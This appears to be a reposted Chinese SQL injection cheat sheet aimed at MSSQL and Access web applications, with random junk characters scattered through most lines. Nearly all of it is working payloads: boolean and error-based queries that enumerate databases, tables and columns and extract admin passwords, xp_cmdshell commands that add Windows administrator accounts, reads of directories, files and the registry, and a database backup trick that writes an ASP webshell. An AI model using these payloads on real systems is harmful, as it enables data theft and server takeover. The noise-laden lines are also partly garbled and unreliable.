1.判断是否有注入 # }$ k+ S- ^6 u1 q
;and 1=1 ' ^ R' ~- s* N
;and 1=2 7 _! e5 \% S4 ~9 w' D% w
9 r+ i& G$ D( b, T' p* x% A9 a2.初步判断是否是mssql
2 Y, U6 c) M5 B4 H2 ?, Q;and user>0 + q2 O5 u+ U# W' i
( a. j$ E. k6 o; {8 d w3.判断数据库系统
3 {$ @; j7 q4 b _;and (select count(*) from sysobjects)>0 mssql - T- [' `/ i# L0 p
;and (select count(*) from msysobjects)>0 access
( l3 H" c; z5 @- l
: ]3 h, Y. O4 P$ s( a5 d# A; u4.注入参数是字符
|" b4 I1 M* U0 R. ?& C'and [查询条件] and ''=' ' N# y B2 W1 Q/ Y
! y3 Z& }" T! S1 L; z [, O6 q" n5.搜索时没过滤参数的 ( \9 J: u& t7 o8 V/ r1 E6 d
'and [查询条件] and '%25'=' * q9 X, f3 Y; T7 r' B0 x A
' u& ?& m' Q! Y/ x8 W/ n
6.猜数表名
0 @- y1 G% G3 N4 `+ m" N;and (select Count(*) from [表名])>0 + \: W3 V3 N3 w" f+ P/ ^$ I' G8 u& x
; h& u% u+ K" ^7.猜字段 ) L. d+ G" }6 b! Y( p
;and (select Count(字段名) from 表名)>0 # T. f* M. l/ ~/ v1 A
/ g9 C$ a% Z# n1 u, @: E
8.猜字段中记录长度 / v/ a* H( P+ k% r
;and (select top 1 len(字段名) from 表名)>0
) y0 X* P# {! Y: `7 w n; }4 W8 i( X
9.(1)猜字段的ascii值(access) ; r' Z @+ H' h
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ' |9 W5 H+ @+ W- N6 J' w
# M5 m8 O4 p; h/ }) {
(2)猜字段的ascii值(mssql) % B. \) ]! t- c& d2 y% A, e
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ' ]6 n6 b5 ]% o) v
/ y$ h j6 x; h' n& g10.测试权限结构(mssql) * Q% |3 d G# A- Y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
6 j- x+ k3 v* {;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9 q r7 f" Q% p( N
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- * q- j0 U6 P( T5 Q* l! j! v
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
2 {. _1 ]0 @! {, F9 h# g& d% [;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 x3 M, ]: y6 c* d;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: a/ j' B% K3 g) t7 g;and 1=(select IS_MEMBER('db_owner'));-- 1 P4 N0 e$ @; G c
; i: \3 ^, F' q+ d! [11.添加mssql和系统的帐户
( J7 V a( f" s: A;exec master.dbo.sp_addlogin username;-- 9 K6 b; c# X* o" f E( O
;exec master.dbo.sp_password null,username,password;--
; d% K! C/ t$ B7 K) ]3 F;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 Q; \# [- |' e/ v
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- - `4 i4 g$ P2 G0 S
;exec master.dbo.xp_cmdshell 'net user username password /add';--
. t% g( ]& I2 A5 ~# e Z;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # w' E4 p- ?5 K' d! {1 p. B
. K0 D' f& [. D/ P7 L' R% i6 J12.(1)遍历目录 ( L, }+ ^0 l9 {& C
;create table dirs(paths varchar(100), id int) & D# h$ |- P, T
;insert dirs exec master.dbo.xp_dirtree 'c:\' W9 s3 Z! f p4 Q
;and (select top 1 paths from dirs)>0
' U" V/ q- o8 q/ d;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) + }7 L$ K0 {4 D, [5 {) W
0 ?) z; a; m# y* _(2)遍历目录 ! [2 D" @4 Y( n! I% X: s
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * U* Z7 ?, m% H# K$ L! q/ n5 ?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ' Y5 h1 X- o- }4 d2 @6 H- R. Z, |
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
r5 n% I: W( Z# b9 f;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 0 }' X) }' h- [$ {' g
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
# ]8 k5 O- o6 H8 E9 ^# n: k9 @/ d! G' k; Y. h
13.mssql中的存储过程 9 J) z; h; {5 e
xp_regenumvalues 注册表根键, 子键
, d9 k" r. Y4 N" d5 Z* i;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
5 `! H0 ]( ~! L* R: Qxp_regread 根键,子键,键值名 0 ]& {, d* K3 b& a; ^/ f+ l
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 M7 m' u9 n+ w' ?2 S6 oxp_regwrite 根键,子键, 值名, 值类型, 值 & {- l g! F4 c3 }/ J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4 z# I* g2 l" c ^
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
) O- [2 m+ u- P3 z8 ?+ F* ~" Fxp_regdeletevalue 根键,子键,值名
) z: z* I& A$ r# b; \exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
" ?8 e+ P) n3 s3 Exp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
@. P6 z2 Z, {+ V8 p7 P- H% Z5 p4 `2 ?. n7 p. U, i
14.mssql的backup创建webshell
+ G6 D/ R' x+ ^6 u9 D& fuse model 0 G$ f; x1 L$ w: b+ B3 t
create table cmd(str image); ( f( p; r6 X7 w% a; D5 s
insert into cmd(str) values ('<% Dim oScript %>'); : E: Q( ~3 @% w$ Y% h) |, a
backup database model to disk='c:\l.asp'; }& ^8 Z) A: x+ R- | w. f
0 d$ E# H* X1 ~) P7 h% O8 h
15.mssql内置函数
1 h1 m. ]9 _8 c& N) O8 Q6 P$ f;and (select @@version)>0 获得Windows的版本号 ( p9 q2 C- Q# u" W
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4 v; s& b. Z3 G
;and (select user_name())>0 爆当前系统的连接用户
, ^; h' }, q- M/ k$ s7 [;and (select db_name())>0 得到当前连接的数据库
& A0 I( [1 K. Y/ P0 L6 x
4 }. l# d+ P6 B- E0 t, ?, o& Z6 r. ~
7 k+ J X5 W, Z0 \( Y
{, ^$ s: ~2 L% l4 OMSSQL手注暴库& ]4 u# e5 t' w6 k( x1 X; S& Q+ q
7 ~6 }3 Y6 j6 s8 u- x( }3 f1.暴出当前表名和列名
: c, ^: j, b$ p/ R" B' u1 W' W: n在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
( G. ?# j1 [; t: C8 t' {5 |; ?7 G b7 {6 a6 z& m
第一.爆出所有数据库名
/ G/ p2 ~8 P& D# n7 r c利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。& E. `+ g' w% S: k( T) K
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
8 k$ z0 U5 m$ d
4 Y* k" m2 F; X* F' J9 |and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名+ e# K% Q3 ~5 M- o* z$ j1 Y
2 p# ]+ l' _" z3 F
+ @4 R2 z: C6 B/ Q& g1 `第二.爆出指定库中的所有表名
# x3 f4 T7 k5 m0 m N得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
3 _9 }) Q5 q G& X' o" ?! {$ k$ |再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
, o" L! V( ^( U6 H8 a$ u
( ]. z# D' F$ t8 W% m( dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
; m* @2 A n+ O) S% M8 E' s/ Qand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--; e" \& \3 W% z- V- ^
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
* {; I! b* I- `# M$ y) l; e
+ y5 j) X- v1 o- A8 F4.爆出指定表中的所有列名) S. f% c0 l3 d5 `
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
% N3 X! S2 h8 j" k//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
`, R3 }0 b$ `% M3 l4 o+ m" F! p
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名5 r* C: ]4 k+ `$ z& {
) E9 ?) N. |9 h* o U% H再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
6 h1 H, V7 d# O# O+ x依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。0 n+ J4 C; D* @. I) a. L+ k8 v
: Y7 O5 Q9 I6 @0 P) G4 S, Q# i% g
- R$ D7 ~9 @7 ?# _and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值! E6 ]8 Y' n& c6 K
2 q. G# ~( m; L, n
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
% u h: T8 a& y: F2 y) ]9 z9 C6 E$ O+ O
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
# L9 ?( q' r" a5 ?# ^4 }7 h! l
1 `: U# R. p2 f \
& p3 r' K; Q0 S a# n
; V9 w6 n# o( A: t5 n5.读取指定表中的数据) F) [6 k3 Y) A, h: k
. Y8 L% x( z2 l. r4 ~) F! |
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
7 C. `* H7 c( m3 E3 b1 Y
# q- h0 M7 R& v- Uand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--' _: I. T7 b0 e: L5 P
& v0 ~. r! g: f3 b" i
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码& z* R$ R! n' k2 Q8 ~
) ?# T9 }" v4 c9 { N$ s
# A. l+ {7 E. n9 O( C" H
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)6 p( {9 E; w% S* N8 a0 `0 ^
" P: B& V+ h; D5 `6 K; w- {
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)+ l: J9 X! I$ f. m; H& V3 B
& _% M: A7 A/ N/ Z2 f4 e2 hand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--5 y& x! v4 l0 J
1 K N! l3 u1 r% d6 I4 V8 L1 ?6 W知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。. p7 e6 n# q1 j) b
|